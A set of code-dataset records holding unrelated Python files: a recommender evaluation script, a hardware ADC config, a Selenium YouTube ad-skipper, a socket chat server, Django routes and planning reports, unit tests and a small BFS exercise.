weightedAUC=computeAUC(userRealVec,weightedVec,testPaths,pois)\n\n # rand=(randScore,randSetDist,randVecDist,randAUC)\n # globalAverage=(globalAverageScore,globalAverageSetDist,globalAverageVecDist,globalAverageAUC)\n # nearest=(nearestScore,nearestSetDist,nearestVecDist,nearestAUC)\n # weighted=(weightedScore,weightedSetDist,weightedVecDist,weightedAUC)\n\n # return((popularScore,rand,nearest,weighted,globalAverage))\n return(collabScores,collabSetDist,collabVecDist,collabAUC)\n\nnumOfCores=int(sys.argv[1])\nresults=[]\nalphaList=[1.0,0.9,0.8,0.7,0.6,0.5,0.4,0.3,0.2,0.1,0]\n# pca=PCA(n_components=2).fit(list(pois[sourceCity].values())+list(pois[targetCity].values()))\nif numOfCores==1:\n for rep,userId in enumerate(commonUsers):\n results.append(recomRep(rep,userId))\nelse:\n results = Parallel(n_jobs=numOfCores)(delayed(recomRep)(rep,userId) for rep,userId in enumerate(commonUsers))\n\ncollabScores=[res[0] for res in results]\ncollabSetDist=[res[1] for res in results]\ncollabVecDist=[res[2] for res in results]\ncollabAUC=[res[3] for res in results]\n# popularScores = [res[0] for res in results]\n# randomResults = [res[1] for res in results]\n# randomScores=[res[0] for res in randomResults]\n# randomSetDist=[res[1] for res in randomResults]\n# randomVecDist=[res[2] for res in randomResults]\n# randomAUC=[res[3] for res in randomResults]\n\n# nearestResults = [res[2] for res in results]\n# nearestScores=[res[0] for res in nearestResults]\n# nearestSetDist=[res[1] for res in nearestResults]\n# nearestVecDist=[res[2] for res in nearestResults]\n# nearestAUC=[res[3] for res in nearestResults]\n\n# weightedResults = [res[3] for res in results]\n# weightedScores=[res[0] for res in weightedResults]\n# weightedSetDist=[res[1] for res in weightedResults]\n# weightedVecDist=[res[2] for res in weightedResults]\n# weightedAUC=[res[3] for res in weightedResults]\n\n# globalResults=[res[4] for res in results]\n# globalScores=[res[0] for res in globalResults]\n# globalSetDist=[res[1] for res in globalResults]\n# globalVecDist=[res[2] for res in globalResults]\n# globalAUC=[res[3] for res in globalResults]\n\ndirectory='Algos/RP/'\nwith open(directory+'collabScores.txt','w') as f:\n f.write(str(collabScores))\nwith open(directory+'collabSetDist.txt','w') as f:\n f.write(str(collabSetDist))\nwith open(directory+'collabVecDist.txt','w') as f:\n f.write(str(collabVecDist))\nwith open(directory+'collabAUC.txt','w') as f:\n f.write(str(collabAUC))\n# with open(directory+'popularScores.txt','w') as f:\n# f.write(str(popularScores))\n# with open(directory+'randomScores.txt','w') as f:\n# f.write(str(randomScores))\n# with open(directory+'globalScores.txt','w') as f:\n# f.write(str(globalScores))\n# with open(directory+'nearestScores.txt','w') as f:\n# f.write(str(nearestScores))\n# with open(directory+'weightedScores.txt','w') as f:\n# f.write(str(weightedScores))\n\n# with open(directory+'randomSetDist.txt','w') as f:\n# f.write(str(randomSetDist))\n# with open(directory+'globalSetDist.txt','w') as f:\n# f.write(str(globalSetDist))\n# with open(directory+'nearestSetDist.txt','w') as f:\n# f.write(str(nearestSetDist))\n# with open(directory+'weightedSetDist.txt','w') as f:\n# f.write(str(weightedSetDist))\n\n# with open(directory+'randomVecDist.txt','w') as f:\n# f.write(str(randomVecDist))\n# with open(directory+'globalVecDist.txt','w') as f:\n# f.write(str(globalVecDist))\n# with open(directory+'nearestVecDist.txt','w') as f:\n# f.write(str(nearestVecDist))\n# with open(directory+'weightedVecDist.txt','w') as f:\n# f.write(str(weightedVecDist))\n\n# with open(directory+'randomAUC.txt','w') as f:\n# f.write(str(randomAUC))\n# with open(directory+'globalAUC.txt','w') as f:\n# f.write(str(globalAUC))\n# with open(directory+'nearestAUC.txt','w') as f:\n# f.write(str(nearestAUC))\n# with open(directory+'weightedAUC.txt','w') as f:\n# f.write(str(weightedAUC))","sub_path":"recommend2.py","file_name":"recommend2.py","file_ext":"py","file_size_in_byte":17619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"534040830","text":"from . import halconfig_types as types\nfrom . import halconfig_dependency as dep\n\nname = \"ADC\"\ncompatibility = dep.Dependency(dep.Platform.SERIES1) # all\nperipheral = 'ADC'\nmodes = {\n 'define': 'hal_adc_mode',\n 'description': 'Mode',\n 'hide_properties': False,\n 'values': [\n types.EnumValue('single', 'Single Channel Mode'),\n types.EnumValue('scan', 'Scan Mode'),\n ]\n}\nenable = {\n 'define': 'HAL_ADC_ENABLE',\n 'description': 'Enable ADC',\n}\noptions = {\n \"BSP_ADC_POS\": {\n \"type\": types.AportSingleChannel(\n \"BSP_ADC_POS_INPUT\",\n signal='POS',\n define_name_prefix='BSP_ADC_POS',\n define_value_prefix='_ADC_SINGLECTRL_POSSEL_',\n extra_values=[\n types.EnumValue('AVDD', 'AVDD'),\n types.EnumValue('BU', 'BUVDD', dependency=dep.Dependency(sdid=[100,103])),\n types.EnumValue('AREG', 'DVDD'),\n types.EnumValue('PDBU', 'DECOUPLE'),\n types.EnumValue('IO0', 'IOVDD0'),\n types.EnumValue('IO1', 'IOVDD1', dependency=dep.Dependency(sdid=[100,106])),\n types.EnumValue('TEMP', 'TEMP'),\n types.EnumValue('VSS', 'VSS'),\n ],\n ),\n \"description\": \"Positive input selection\",\n \"subcategory\": \"Single Channel Positive Input\",\n \"mode\": \"single\",\n },\n \"BSP_ADC_NEG\": {\n \"type\": types.AportSingleChannel(\n \"BSP_ADC_NEG_INPUT\",\n signal='NEG',\n define_name_prefix='BSP_ADC_NEG',\n define_value_prefix='_ADC_SINGLECTRL_NEGSEL_',\n extra_values=[\n types.EnumValue('VSS', 'VSS')\n ]\n ),\n \"description\": \"Negative input selection\",\n \"subcategory\": \"Single Channel Negative Input\",\n \"mode\": \"single\",\n },\n \"BSP_ADC_SCAN_MASK\": {\n \"type\": types.AportScanMode(\n define_value_prefix=\"_ADC_SCANINPUTSEL_INPUT%nSEL_\",\n ),\n \"description\": \"Scan input mask\",\n \"category\": \"Scan Mode\",\n \"mode\": \"scan\",\n }\n}","sub_path":"platform/hwconf_data/bgm11/modules/ADC0/ADC_model.py","file_name":"ADC_model.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"213037293","text":"import selenium\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\n\n#C:\\Program Files (x86)\\Google\\Chrome\\Application\n# (Path di chrome)\n#chrome.exe -remote-debugging-port=2002 --user-data-dir=\"C:\\Users\\mikic\\Chrome_Test_Profile\"\n# (Comando per avviare il browser in debugging mode)\n\nchromeDriverPath = r\"C:\\ProgramData\\chocolatey\\bin\\chromedriver.exe\"\n\nchromeOptions = webdriver.ChromeOptions()\nchromeOptions.add_experimental_option(\"debuggerAddress\", \"localhost:2002\")\ndriver = webdriver.Chrome(executable_path=chromeDriverPath, chrome_options=chromeOptions)\n\nwhile True:\n try: \n skipButton = driver.find_elements_by_class_name(\"ytp-ad-skip-button-container\")[0]\n ad = True\n # muteButton = driver.find_elements_by_class_name(\"ytp-volume-area\")[0]\n # muteButton.click()\n WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.CLASS_NAME, \"ytp-volume-area\"))).click()\n\n while ad:\n try:\n skipButton.click()\n ad = False \n except selenium.common.exceptions.ElementNotInteractableException:\n ad = True\n muteButton = driver.find_elements_by_class_name(\"ytp-volume-area\")[0]\n muteButton.click()\n except IndexError:\n pass\n \n","sub_path":"automation.py","file_name":"automation.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"462211510","text":"# This is the server program of client-server, end-to-end encryption chat project\r\n# we use a specified binary protocol over TCP\r\n# Author: Arie Gruber\r\n\r\nfrom constants import *\r\nimport socket\r\nimport Request\r\nimport struct\r\nimport selectors\r\nimport sql\r\n\r\n# and returns the name in the given bytes without the zeroes at the end of it\r\ndef nameToStr(name):\r\n return str(name, 'utf-8').rstrip('\\0')\r\n\r\n# returns header with the given code and payload size in bytes format\r\ndef makeHeader(code, plSize):\r\n return struct.pack(HEADER_FORMAT, SERVER_VERSION, code, plSize)\r\n\r\ndef errorMsg():\r\n return makeHeader(ERROR_CODE, 0)\r\n\r\ndef registerUser(name, pubKey):\r\n try:\r\n userID = sql.insertClient(name, pubKey)\r\n return makeHeader(REG_SUC_CODE, UID_SIZE) + userID\r\n except:\r\n return errorMsg()\r\n\r\ndef getUList(uid):\r\n sql.updateConnTime(uid)\r\n uList = sql.getUsersList(uid)\r\n msg = makeHeader(ULIST_RESP_CODE, len(uList)) + uList\r\n return msg\r\n\r\ndef getPubKey(request):\r\n uid = request.payload\r\n sql.updateConnTime(request.uid)\r\n try:\r\n msg = makeHeader(PUB_KEY_RESP_CODE, UID_SIZE + PUB_KEY_SIZE) + uid + sql.getUserPubKey(uid)\r\n return msg\r\n except:\r\n return errorMsg()\r\n \r\ndef saveMsg(request):\r\n orig = request.uid\r\n sql.updateConnTime(orig)\r\n dest = request.payload[:UID_SIZE]\r\n msgType = struct.pack('B', request.payload[UID_SIZE])\r\n txt = request.payload[MSG_CONTENT_OFFSET:]\r\n msgID = sql.saveMsg(dest, orig, msgType, txt)\r\n return makeHeader(MSG_SEND_SUC_CODE, MSG_SENT_PAYLOAD_SIZE) + request.payload[:UID_SIZE] + struct.pack('[0-9a-f-]+)/$',\n CityDetail.as_view(),\n name='City detail'\n ),\n\n\n # Country Endpoint's\n path(\n 'country/',\n CountryList.as_view(),\n name='Country list'\n ),\n re_path(\n '^country/(?P[0-9a-f-]+)/$',\n CountryDetail.as_view(),\n name='Country detail'\n ),\n\n\n # Trip Endpoint's\n path(\n 'trip/',\n TripList.as_view(),\n name='Trip list'\n ),\n re_path(\n '^trip/(?P[0-9a-f-]+)/$',\n TripDetail.as_view(),\n name='Trip detail'\n ),\n re_path(\n 'trip/city/(?P[0-9a-f-]+)/$',\n get_trips_by_city.as_view(),\n name='Get trip\\'s by city.'\n ),\n]\n","sub_path":"mi_aguila/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"224564140","text":"# coding: utf8\nimport pytest\nfrom app.core.train import Train, OrderedDict\n\n\nANSWER = {\"test\": \"foo\"}\nEXCEPTION = {\"args\": \"foo\"}\nNAME = \"ASt\"\nSTATION = {\n \"name\": NAME,\n \"status\": True\n}\n\n\n@pytest.fixture()\ndef train(data):\n return Train(data)\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__has_payload(train):\n assert hasattr(train, \"payload\")\n assert isinstance(train.payload, dict)\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__payload_valid(train):\n payload = train.payload\n\n assert isinstance(payload[\"states\"], dict)\n assert isinstance(payload[\"props\"], dict)\n assert isinstance(payload[\"queries\"], dict)\n assert isinstance(payload[\"data\"], dict)\n assert isinstance(payload[\"answers\"], list)\n assert isinstance(payload[\"__state__\"], dict)\n assert isinstance(payload[\"__state__\"][\"exception\"], dict)\n assert isinstance(payload[\"__state__\"][\"progress\"], OrderedDict)\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_getattr_data(train, data):\n assert hasattr(train, \"data\")\n assert train.data is data\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_getattr_queries(train):\n assert hasattr(train, \"queries\")\n assert len(train.queries) == 0\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_getattr_props(train):\n assert hasattr(train, \"props\")\n assert len(train.props) == 0\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_getattr_states(train):\n assert hasattr(train, \"states\")\n assert len(train.states) == 0\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_getattr_answers(train):\n assert hasattr(train, \"answers\")\n assert len(train.answers) == 0\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_setattr_answers(train):\n assert len(train.answers) == 0\n train.answers = ANSWER\n assert len(train.answers) == 1\n assert train.payload[\"answers\"][-1] == ANSWER\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_deleter_answers(train):\n answer_id = id(train.answers)\n train.answers = ANSWER\n del train.answers\n assert len(train.answers) == 0\n assert id(train.answers) == answer_id\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_getattr_exception(train):\n assert hasattr(train, \"exception\")\n assert len(train.exception) == 0\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_setattr_exception(train):\n assert len(train.exception) == 0\n train.exception = EXCEPTION\n assert len(train.exception) == 1\n assert train.payload[\"__state__\"][\"exception\"] == EXCEPTION\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_getattr_progress(train):\n assert hasattr(train, \"progress\")\n assert len(train.exception) == 0\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.train\ndef test__property_setattr_progress(train):\n assert len(train.progress) == 0\n train.progress = STATION\n assert len(train.progress) == 1\n assert NAME in train.payload[\"__state__\"][\"progress\"]\n","sub_path":"tests/units/train/test__train.py","file_name":"test__train.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"190373407","text":"import datetime as dt\nfrom collections import defaultdict\nfrom itertools import islice, takewhile\n\nfrom django.db import connections\nfrom django.db.models import Q, Sum\n\nfrom workbench.accounts.models import User\nfrom workbench.awt.models import Absence\nfrom workbench.contacts.models import Organization\nfrom workbench.invoices.utils import recurring\nfrom workbench.logbook.models import LoggedHours\nfrom workbench.planning.models import PlannedWork, PlanningRequest\nfrom workbench.tools.formats import Z1, Z2, local_date_format\nfrom workbench.tools.reporting import query\nfrom workbench.tools.validation import monday\n\n\ndef _period(weeks, min, max):\n try:\n start = weeks.index(min)\n except ValueError:\n start = 0\n\n try:\n end = weeks.index(max)\n except ValueError:\n end = len(weeks) - 1\n\n return [start, end]\n\n\nclass Planning:\n def __init__(self, *, weeks, users=None):\n self.weeks = weeks\n self.users = users\n\n self._by_week = defaultdict(lambda: Z1)\n self._requested_by_week = defaultdict(lambda: Z1)\n self._by_project_and_week = defaultdict(lambda: defaultdict(lambda: Z1))\n self._projects_offers = defaultdict(lambda: defaultdict(list))\n self._project_ids = set()\n self._user_ids = {user.id for user in users} if users else set()\n\n self._worked_hours = defaultdict(lambda: defaultdict(lambda: Z1))\n\n self._absences = defaultdict(lambda: [0] * len(weeks))\n\n def add_planned_work(self, queryset):\n for pw in queryset.filter(weeks__overlap=self.weeks).select_related(\n \"user\", \"project__owned_by\", \"offer__project\", \"offer__owned_by\", \"request\"\n ):\n per_week = (pw.planned_hours / len(pw.weeks)).quantize(Z2)\n for week in pw.weeks:\n self._by_week[week] += per_week\n self._by_project_and_week[pw.project][week] += per_week\n\n date_from = min(pw.weeks)\n date_until = max(pw.weeks) + dt.timedelta(days=6)\n\n self._projects_offers[pw.project][pw.offer].append(\n {\n \"work\": {\n \"is_request\": False,\n \"id\": pw.id,\n \"request_id\": pw.request_id,\n \"title\": pw.title,\n \"text\": pw.user.get_short_name(),\n \"user\": pw.user.get_short_name(),\n \"planned_hours\": pw.planned_hours,\n \"url\": pw.get_absolute_url(),\n \"date_from\": date_from,\n \"date_until\": date_until,\n \"range\": \"{} – {}\".format(\n local_date_format(date_from, fmt=\"d.m.\"),\n local_date_format(date_until, fmt=\"d.m.\"),\n ),\n \"is_provisional\": pw.request.is_provisional\n if pw.request\n else False,\n },\n \"hours_per_week\": [\n per_week if week in pw.weeks else Z1 for week in self.weeks\n ],\n \"per_week\": per_week,\n }\n )\n\n self._project_ids.add(pw.project.pk)\n self._user_ids.add(pw.user.id)\n\n def add_planning_requests(self, queryset):\n for pr in (\n queryset.filter(\n Q(earliest_start_on__lte=max(self.weeks)),\n Q(completion_requested_on__gte=min(self.weeks)),\n )\n .select_related(\"project__owned_by\", \"offer__project\", \"offer__owned_by\")\n .prefetch_related(\"receivers\")\n ).distinct():\n per_week = (pr.missing_hours / len(pr.weeks)).quantize(Z2)\n for week in pr.weeks:\n self._requested_by_week[week] += per_week\n\n date_from = min(pr.weeks)\n date_until = max(pr.weeks) + dt.timedelta(days=6)\n\n self._projects_offers[pr.project][pr.offer].append(\n {\n \"work\": {\n \"is_request\": True,\n \"id\": pr.id,\n \"title\": pr.title,\n \"text\": \", \".join(\n user.get_short_name() for user in pr.receivers.all()\n ),\n \"requested_hours\": pr.requested_hours,\n \"planned_hours\": pr.planned_hours,\n \"missing_hours\": pr.missing_hours,\n \"url\": pr.get_absolute_url(),\n \"date_from\": date_from,\n \"date_until\": date_until,\n \"range\": \"{} – {}\".format(\n local_date_format(date_from, fmt=\"d.m.\"),\n local_date_format(date_until, fmt=\"d.m.\"),\n ),\n \"period\": _period(self.weeks, min(pr.weeks), max(pr.weeks)),\n \"is_provisional\": pr.is_provisional,\n },\n \"per_week\": per_week,\n }\n )\n\n self._project_ids.add(pr.project.pk)\n self._user_ids |= {user.id for user in pr.receivers.all()}\n\n def add_worked_hours(self, queryset):\n for row in (\n queryset.filter(service__project__in=self._project_ids)\n .values(\"service__project\", \"service__offer\", \"rendered_on\")\n .annotate(Sum(\"hours\"))\n ):\n self._worked_hours[row[\"service__project\"]][\n monday(row[\"rendered_on\"])\n ] += row[\"hours__sum\"]\n\n def add_absences(self, queryset):\n for absence in queryset.filter(\n Q(user__in=self._user_ids),\n Q(starts_on__lte=max(self.weeks)),\n Q(ends_on__isnull=False, ends_on__gte=min(self.weeks))\n | Q(ends_on__isnull=True, starts_on__gte=min(self.weeks)),\n ).select_related(\"user\"):\n date_from = monday(absence.starts_on)\n date_until = monday(absence.ends_on or absence.starts_on)\n hours = absence.days * absence.user.planning_hours_per_day\n weeks = [\n (idx, week)\n for idx, week in enumerate(self.weeks)\n if date_from <= week <= date_until\n ]\n\n for idx, week in weeks:\n self._absences[absence.user][idx] += hours / len(weeks)\n self._by_week[week] += hours / len(weeks)\n\n def _sort_work_list(self, work_list):\n for_requests = {}\n everything_else = []\n\n for row in work_list:\n if row[\"work\"].get(\"request_id\"):\n for_requests.setdefault(row[\"work\"][\"request_id\"], []).append(row)\n else:\n everything_else.append(row)\n\n for row in sorted(\n everything_else,\n key=lambda row: (\n row[\"work\"][\"date_from\"],\n row[\"work\"][\"date_until\"],\n ),\n ):\n # Is request, has no missing hours and no planned hours in current view?\n if (\n row[\"work\"][\"is_request\"]\n and not row[\"work\"][\"missing_hours\"]\n and not for_requests.get(row[\"work\"][\"id\"])\n ):\n continue\n\n yield row\n if row[\"work\"][\"is_request\"] and row[\"work\"][\"id\"] in for_requests:\n yield from for_requests.pop(row[\"work\"][\"id\"], [])\n\n # Items where offers do not match or whatever\n for items in for_requests.values():\n yield from items\n\n def _offer_record(self, offer, work_list):\n date_from = min(pw[\"work\"][\"date_from\"] for pw in work_list)\n date_until = max(pw[\"work\"][\"date_until\"] for pw in work_list)\n hours = sum(\n pw[\"work\"][\"planned_hours\"]\n for pw in work_list\n if not pw[\"work\"][\"is_request\"]\n )\n\n work_list = list(self._sort_work_list(work_list))\n if not work_list:\n return None\n\n return {\n \"offer\": {\n \"date_from\": date_from,\n \"date_until\": date_until,\n \"range\": \"{} – {}\".format(\n local_date_format(date_from, fmt=\"d.m.\"),\n local_date_format(date_until, fmt=\"d.m.\"),\n ),\n \"planned_hours\": hours,\n \"worked_hours\": Z1,\n **(\n {\n \"id\": offer.id,\n \"title\": offer.title,\n \"is_declined\": offer.is_declined,\n \"is_accepted\": offer.is_accepted,\n \"url\": offer.get_absolute_url(),\n \"creatework\": offer.project.urls[\"creatework\"]\n + \"?offer={}\".format(offer.pk),\n }\n if offer\n else {}\n ),\n },\n \"work_list\": work_list,\n }\n\n def _project_record(self, project, offers):\n offers = sorted(\n filter(\n None,\n (\n self._offer_record(offer, work_list)\n for offer, work_list in sorted(offers.items())\n ),\n ),\n key=lambda row: (\n row[\"offer\"][\"date_from\"],\n row[\"offer\"][\"date_until\"],\n -row[\"offer\"][\"planned_hours\"],\n ),\n )\n\n if not offers:\n return None\n\n date_from = min(rec[\"offer\"][\"date_from\"] for rec in offers)\n date_until = max(rec[\"offer\"][\"date_until\"] for rec in offers)\n hours = sum(rec[\"offer\"][\"planned_hours\"] for rec in offers)\n\n return {\n \"project\": {\n \"id\": project.id,\n \"title\": project.title,\n \"is_closed\": bool(project.closed_on),\n \"url\": project.get_absolute_url(),\n \"planning\": project.urls[\"planning\"],\n \"creatework\": project.urls[\"creatework\"],\n \"date_from\": date_from,\n \"date_until\": date_until,\n \"range\": \"{} – {}\".format(\n local_date_format(date_from, fmt=\"d.m.\"),\n local_date_format(date_until, fmt=\"d.m.\"),\n ),\n \"planned_hours\": hours,\n \"worked_hours\": [\n self._worked_hours[project.id][week] for week in self.weeks\n ],\n },\n \"by_week\": [\n self._by_project_and_week[project][week] for week in self.weeks\n ],\n \"offers\": offers,\n }\n\n def capacity(self):\n by_user = defaultdict(dict)\n total = defaultdict(int)\n\n user_ids = (\n [user.id for user in self.users] if self.users else list(self._user_ids)\n )\n\n for week, user, capacity in query(\n \"\"\"\nselect week, user_id, percentage * 5 * planning_hours_per_day / 100 as capacity\nfrom generate_series(%s::date, %s::date, '7 days') as week\nleft outer join lateral (\n select user_id, date_from, date_until, percentage, planning_hours_per_day\n from awt_employment\n left join accounts_user on awt_employment.user_id=accounts_user.id\n where user_id = any (%s)\n) as employment\non employment.date_from <= week and employment.date_until > week\nwhere percentage is not NULL -- NULL produced by outer join\n \"\"\",\n [min(self.weeks), max(self.weeks), user_ids],\n ):\n by_user[user][week.date()] = capacity\n total[week.date()] += capacity\n\n users = self.users or list(User.objects.filter(id__in=by_user))\n return {\n \"total\": [total.get(week, 0) for week in self.weeks],\n \"by_user\": [\n {\n \"user\": {\n \"name\": user.get_full_name(),\n \"url\": user.urls[\"planning\"],\n },\n \"capacity\": [by_user[user.id].get(week, 0) for week in self.weeks],\n }\n for user in sorted(users)\n ],\n }\n\n def report(self):\n try:\n this_week_index = self.weeks.index(monday())\n except ValueError:\n this_week_index = None\n return {\n \"this_week_index\": this_week_index,\n \"weeks\": [\n {\n \"monday\": week,\n \"month\": local_date_format(week, fmt=\"M\"),\n \"week\": local_date_format(week, fmt=\"W\"),\n \"period\": \"{}–{}\".format(\n local_date_format(week, fmt=\"j.\"),\n local_date_format(week + dt.timedelta(days=6), fmt=\"j.\"),\n ),\n }\n for week in self.weeks\n ],\n \"projects_offers\": sorted(\n filter(\n None,\n (\n self._project_record(project, offers)\n for project, offers in self._projects_offers.items()\n ),\n ),\n key=lambda row: (\n row[\"project\"][\"date_from\"],\n row[\"project\"][\"date_until\"],\n -row[\"project\"][\"planned_hours\"],\n ),\n ),\n \"by_week\": [self._by_week[week] for week in self.weeks],\n \"requested_by_week\": [self._requested_by_week[week] for week in self.weeks],\n \"absences\": [\n (str(user), lst) for user, lst in sorted(self._absences.items())\n ],\n \"capacity\": self.capacity() if self.users else None,\n }\n\n\ndef user_planning(user, date_range):\n start, end = date_range\n weeks = list(takewhile(lambda x: x <= end, recurring(monday(start), \"weekly\")))\n planning = Planning(weeks=weeks, users=[user])\n planning.add_planned_work(user.planned_work.all())\n planning.add_planning_requests(\n user.received_planning_requests.exclude(\n id__in=user.receivedrequest_set.filter(declined_at__isnull=False).values(\n \"request\"\n )\n )\n )\n planning.add_worked_hours(user.loggedhours.all())\n planning.add_absences(user.absences.all())\n return planning.report()\n\n\ndef team_planning(team, date_range):\n start, end = date_range\n weeks = list(takewhile(lambda x: x <= end, recurring(monday(start), \"weekly\")))\n planning = Planning(weeks=weeks, users=list(team.members.active()))\n planning.add_planned_work(PlannedWork.objects.filter(user__teams=team))\n planning.add_planning_requests(\n PlanningRequest.objects.filter(\n Q(receivers__teams=team) | Q(planned_work__user__teams=team)\n )\n )\n planning.add_worked_hours(LoggedHours.objects.filter(rendered_by__teams=team))\n planning.add_absences(Absence.objects.filter(user__teams=team))\n return planning.report()\n\n\ndef project_planning(project):\n with connections[\"default\"].cursor() as cursor:\n cursor.execute(\n \"\"\"\\\nWITH sq AS (\n SELECT unnest(weeks) AS week\n FROM planning_plannedwork\n WHERE project_id=%s\n\n UNION ALL\n\n SELECT earliest_start_on AS week\n FROM planning_planningrequest\n WHERE project_id=%s\n\n UNION ALL\n\n SELECT completion_requested_on - 7 AS week\n FROM planning_planningrequest\n WHERE project_id=%s\n)\nSELECT MIN(week), MAX(week) FROM sq\n \"\"\",\n [project.id, project.id, project.id],\n )\n result = list(cursor)[0]\n\n if result[0]:\n result = (min(result[0], monday() - dt.timedelta(days=14)), result[1])\n weeks = list(\n islice(\n recurring(result[0], \"weekly\"),\n 2 + (result[1] - result[0]).days // 7,\n )\n )\n else:\n weeks = list(islice(recurring(monday() - dt.timedelta(days=14), \"weekly\"), 80))\n\n planning = Planning(weeks=weeks)\n planning.add_planned_work(project.planned_work.all())\n planning.add_planning_requests(project.planning_requests.all())\n planning.add_worked_hours(LoggedHours.objects.all())\n planning.add_absences(Absence.objects.all())\n return planning.report()\n\n\ndef planning_vs_logbook(date_range, *, users):\n planned = defaultdict(dict)\n logged = defaultdict(dict)\n\n user_ids = [user.id for user in users]\n\n seen_weeks = set()\n\n for customer_id, week, hours in query(\n \"\"\"\nwith\nplanned_per_week as (\n select\n p.customer_id,\n unnest(weeks) as week,\n planned_hours / array_length(weeks, 1) / 5 as hours\n from planning_plannedwork pw\n left join projects_project p on pw.project_id = p.id\n where user_id = any(%s)\n),\nweeks as (\n select\n date_trunc('week', day) as week,\n count(*) as days\n from generate_series(%s::date, %s::date, '1 day') as day\n where extract(dow from day) between 1 and 5\n group by week\n)\n\nselect\n customer_id,\n weeks.week,\n sum(hours * weeks.days)\nfrom\n planned_per_week, weeks\nwhere\n planned_per_week.week = weeks.week\ngroup by customer_id, weeks.week\n \"\"\",\n [user_ids, *date_range],\n ):\n seen_weeks.add(week)\n planned[customer_id][week] = hours\n\n for customer_id, week, hours in query(\n \"\"\"\nselect\n p.customer_id,\n date_trunc('week', rendered_on) as week,\n sum(hours) as hours\nfrom logbook_loggedhours lh\nleft join projects_service ps on lh.service_id = ps.id\nleft join projects_project p on ps.project_id = p.id\nwhere\n rendered_by_id = any(%s)\n and rendered_on between %s::date and %s::date\ngroup by customer_id, week\n \"\"\",\n [user_ids, *date_range],\n ):\n seen_weeks.add(week)\n logged[customer_id][week] = hours\n\n customers = {\n customer.id: customer\n for customer in Organization.objects.filter(\n id__in=planned.keys() | logged.keys()\n )\n }\n weeks = sorted(seen_weeks)\n\n def _customer(planned, logged):\n ret = [\n {\n \"customer\": customers[customer_id],\n \"per_week\": [\n {\n \"week\": week,\n \"planned\": planned[customer_id].get(week),\n \"logged\": logged[customer_id].get(week),\n }\n for week in weeks\n ],\n \"planned\": sum(planned[customer_id].values(), Z1),\n \"logged\": sum(logged[customer_id].values(), Z1),\n }\n for customer_id in planned.keys() | logged.keys()\n ]\n return sorted(ret, key=lambda row: -row[\"planned\"])\n\n ret = {\n \"per_customer\": _customer(planned, logged),\n \"weeks\": weeks,\n }\n ret[\"planned\"] = sum((c[\"planned\"] for c in ret[\"per_customer\"]), Z1)\n ret[\"logged\"] = sum((c[\"logged\"] for c in ret[\"per_customer\"]), Z1)\n return ret\n\n\ndef test(): # pragma: no cover\n from pprint import pprint\n\n if False:\n from workbench.accounts.models import User\n\n pprint(user_planning(User.objects.get(pk=1)))\n\n if False:\n from workbench.accounts.models import Team\n\n pprint(team_planning(Team.objects.get(pk=1)))\n\n if False:\n from workbench.projects.models import Project\n\n pprint(project_planning(Project.objects.get(pk=8238)))\n\n if True:\n from workbench.accounts.models import User\n\n pprint(\n planning_vs_logbook(\n [dt.date(2021, 1, 1), dt.date.today()],\n users=[User.objects.get(pk=1)],\n )\n )\n","sub_path":"workbench/planning/reporting.py","file_name":"reporting.py","file_ext":"py","file_size_in_byte":19755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"176577801","text":"from BFS import Vertex\nfrom BFS import myqueue\nfrom math import inf as INFINITY\nfrom BFS import vertices\n\ndef no_cycles(G):\n v = vertices(G)\n s = vertices(G)[0]\n s.predecessor = None\n s.distance = 0\n for vex in v:\n if vex != s:\n vex.distance = INFINITY\n q = myqueue()\n q.enqueue(s)\n\n while q:\n u = q.dequeue()\n for vex in G[u]:\n if vex.distance == INFINITY:\n vex.distance = u.distance + 1\n vex.predecessor = u\n q.enqueue(v)\n elif u.predecessor != vex:\n return False\n return True\n\n\n\nv = [Vertex(i) for i in range(8)]\n\nG = {v[0]: [v[4], v[5]],\n v[1]: [v[4], v[6]],\n v[2]: [v[5]],\n v[3]: [v[7]],\n v[4]: [v[0], v[1]],\n v[5]: [v[0], v[2]],\n v[6]: [v[1]],\n v[7]: [v[3]]}\n\nprint(no_cycles(V))\n","sub_path":"week_5/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"349303","text":"import unittest\n\nimport numpy as np\nimport torch\n\nimport neural_renderer_torch\n\n\nclass TestPerspective(unittest.TestCase):\n def test_case1(self):\n v_in = [1, 2, 10]\n v_out = [np.sqrt(3) / 10, 2 * np.sqrt(3) / 10, 10]\n vertices = np.array(v_in, 'float32')\n vertices 